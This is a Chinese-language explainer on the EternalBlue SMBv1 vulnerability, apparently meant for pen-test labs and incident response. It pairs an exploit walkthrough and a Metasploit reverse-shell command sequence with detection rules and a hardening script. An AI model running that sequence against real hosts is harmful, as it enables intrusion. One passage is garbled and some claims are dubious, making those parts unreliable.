
"一个漏洞利用。数十种恶意软件家族。数十亿美元的损失。"
CVE-2017-0144 是 Microsoft Windows 中 SMBv1 服务器实现的一个严重远程代码执行漏洞。被称为 EternalBlue 的利用程序利用了这个漏洞,并用于高影响攻击(特别是 WannaCry)。
| # | 恶意软件 | 类型 | 首次发现 | 攻击者 | 损失 | 备注 |
|---|
| 1 | WannaCry | 勒索软件 | 2017年5月12日 | 拉撒路集团(朝鲜) | 40–80亿美元 | 杀开关:iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | 擦除器(伪装成勒索软件) | 2017年6月27日 | Sandworm(俄罗斯) | 100亿美元以上 | 使用了 Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | 勒索软件 | 2017年10月24日 | Indrik Spider | 区域性 | 通过虚假Flash更新驱动下载 |
| 4 | Uiwix | 勒索软件 | 2017年5月 | 未知 | 低 | 无杀开关,比WannaCry更隐蔽 |
| 5 | EternalRocks | 蠕虫 | 2017年5月 | 未知 | 中 | 7款NSA工具(包括DoublePulsar) |
| 6 | Adylkuzz | 加密货币矿工 | 2017年5月 | 未知 | 高(隐蔽) | 在WannaCry之前挖掘门罗币 |
| 7 | Retefe | 银行木马 | 2017–2018 | 未知 | 欧盟银行 | 使用EternalBlue进行横向移动 |
| 8 | TrickBot | 模块化恶意软件 | 2017–2021 | Wizard Spider | 全球 | 通过EternalBlue投放Ryuk |
| 9 | Emotet | 加载器 | 2017–2021 | TA542 | 全球 | 用作Cobalt Strike的入口 |
| 10 | Clop / Dridex | 勒索软件 | 2019–2025 | TA505 | 医疗、政府 | 2025年仍活跃 |

| 工具 | 发布 | 功能 |
|---|---|---|
| EternalBlue(原始版) | 2017年4月(Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | 2017年4月 | 后门植入(ring0) |
| EternalRomance | 2017年4月 | SMBv3变种 |
| EternalChampion | 2017年4月 | 替代SMB路径 |
| Metasploit 模块 | 2017年5月 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | 2017年4月 | NSA利用框架 |
| Impacket + PSEXEC | 2017–2025 | Python SMB利用 |

"一个畸形数据包。完全SYSTEM访问权限。无需登录。无需点击。"
[攻击者]
│
├──▶ 发送精心构造的 SMBv1 **Trans2** 请求
│ → 触发 `srv!SrvOS2FeaListSizeToNt` 中的 **堆溢出**
│
├──▶ 覆盖函数指针 → **内核 shellcode**
│
└──▶ 执行 **DoublePulsar** 后门 → **Ring-0 载荷**
(例如 WannaCry 的 `mssecsvc.exe`)
| 需求 | 详情 |
|---|---|
| 目标 | 启用 SMBv1 的 Windows(Windows 10 之前默认开启) |
| 开放端口 | 445/TCP(或通过 NetBIOS 的 139/TCP) |
| 无需认证 | 无需身份验证 — 不需要用户名/密码 |
| 架构 | x86 或 x64(均支持) |
| 补丁状态 | 未打补丁(MS17-010 之前) |
SMB_COM_NEGOTIATE → 客户端发送方言列表
服务器响应:SMBv1 支持 → 继续
为什么? 确认 SMBv1 处于活动状态。

\\TARGET\IPC$ → SMB 管道的匿名共享
目的:建立会话以发送事务请求。
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF(或大值)
...
}
漏洞触发:
SrvOS2FeaListSizeToNt()信任该大小而不进行边界检查。

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → 溢出缓冲区
}
堆喷射:分配大块内存以控制内存布局。
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // 攻击者控制
PULONG pNtFeaListSize // 输出指针
)
{
// 未验证 FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // 崩溃
}
Free 例程)KeUserModeCallback)mssecsvc.exe)
0x00120034)Ping:0x0002C001Exec:0x0002C002 + 载荷WannaCry 示例:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → 加密文件
SMB 头部
└── 命令:0x32 (TRANSACTION2)
└── 设置:0x000E (SESSION_SETUP)
└── 参数:TotalDataCount = 0x1000
└── 数据:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → 喷射堆
[OVERFLOW] → 覆盖池
[SHELLCODE] → x64 ring0
| 工具 | 语言 | 模块 |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| 自定义C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| 工件 | 位置 | 值 |
|---|---|---|
| DoublePulsar | 内核内存 | XOR 密钥 0x00120034 |
| Shellcode | srvnet.sys 池 | 0xCC 0x90 0x48 模式 |
| 注入的 DLL | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE 尝试";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
扫描网络中的 445 端口
if (开放) → EternalBlue 利用
if (成功) → 投放 mssecsvc.exe + 传播
Sleep(随机(1000, 5000))
}
传播速度:全球约每小时 10,000 次感染。
| 因素 | 原因 |
|---|---|
| 无需认证 | SMBv1 允许匿名 IPC$ |
| 可蠕虫化 | 内置局域网扫描 |
| 内核 RCE | 绕过防病毒/用户提示 |
| 遗留 SMBv1 | 默认开启超过 15 年 |
| 未打补丁系统 | 关键基础设施中的 XP, 2003, 7 |
| 年份 | 成功率(未打补丁) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | 约60%(仅遗留系统) |
在没有 MS17-010 的 Windows 7/2008 R2 上仍然有效
EternalBlue = 被武器化的数学错误
SMB 中受信任的大小字段 → 内核堆溢出 → 任意代码 → 全球勒索软件大流行
SMB 数据包 → 缓冲区溢出 → 内核 Shellcode → DoublePulsar → 恶意软件
精心制作,结合可视化与真实世界威胁情报。更新于 2025 年 11 月。
"一个数据包。一个端口。一个帝国的陨落。"
| 操作系统 | KB 补丁 | 禁用 SMBv1 | Nmap 脚本 |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP(已终止支持) | KB4012598(紧急) | 注册表: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| 指标 | 状态 |
|---|---|
| Shodan 暴露的 SMBv1 | 约 120 万(2025年11月) |
| 活跃利用(蜜罐) | 每日 |
| 使用它的勒索软件 | Clop, LockBit(遗留目标) |
| 最易受攻击 | 医疗、制造业、中小企业 |
| 零信任修复 | 封锁 445 端口,强制 MFA,EDR |
| 阶段 | 技术 | ID |
|---|---|---|
| 初始访问 | 利用公开应用程序 | T1190 |
| 执行 | Windows SMB RCE | T1210 |
| 持久化 | 通过 DoublePulsar 后门 | T1505.003 |
| 横向移动 | SMB/Windows 管理共享 | T1021.002 |
| 影响 | 数据加密以影响 | T1486 |
# === ETERNALBLUE 加固脚本 ===
Write-Host "正在应用 EternalBlue 缓解措施..." -ForegroundColor Cyan
# 1. 禁用 SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. 封锁 445 端口
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. 启用 SMB 签名
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. 检查补丁
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "已打补丁!" -ForegroundColor Green } else { Write-Host "未打补丁!" -ForegroundColor Red }
Write-Host "需要重新启动。请以管理员身份运行。"
| 来源 | 链接 |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| CrowdStrike WannaCry 报告 | crowdstrike.com/blog/wannacry |
| Kaspersky EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| Shodan 搜索 | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144 并没有消亡——它是一个遗留僵尸。
它在以下环境中仍然活跃:
- 未打补丁的 Windows 7/2008
- 影子 IT
- 气隙关键系统
- 配置错误的云虚拟机
如果你能从互联网上 ping 通 445 端口——下一个就是你。
精心制作,结合可视化与真实世界威胁情报。更新于 2025 年 11 月。
适用于渗透测试实验室、应急响应手册或 CISO 简报。
"打补丁。封锁它。用火烧掉它。"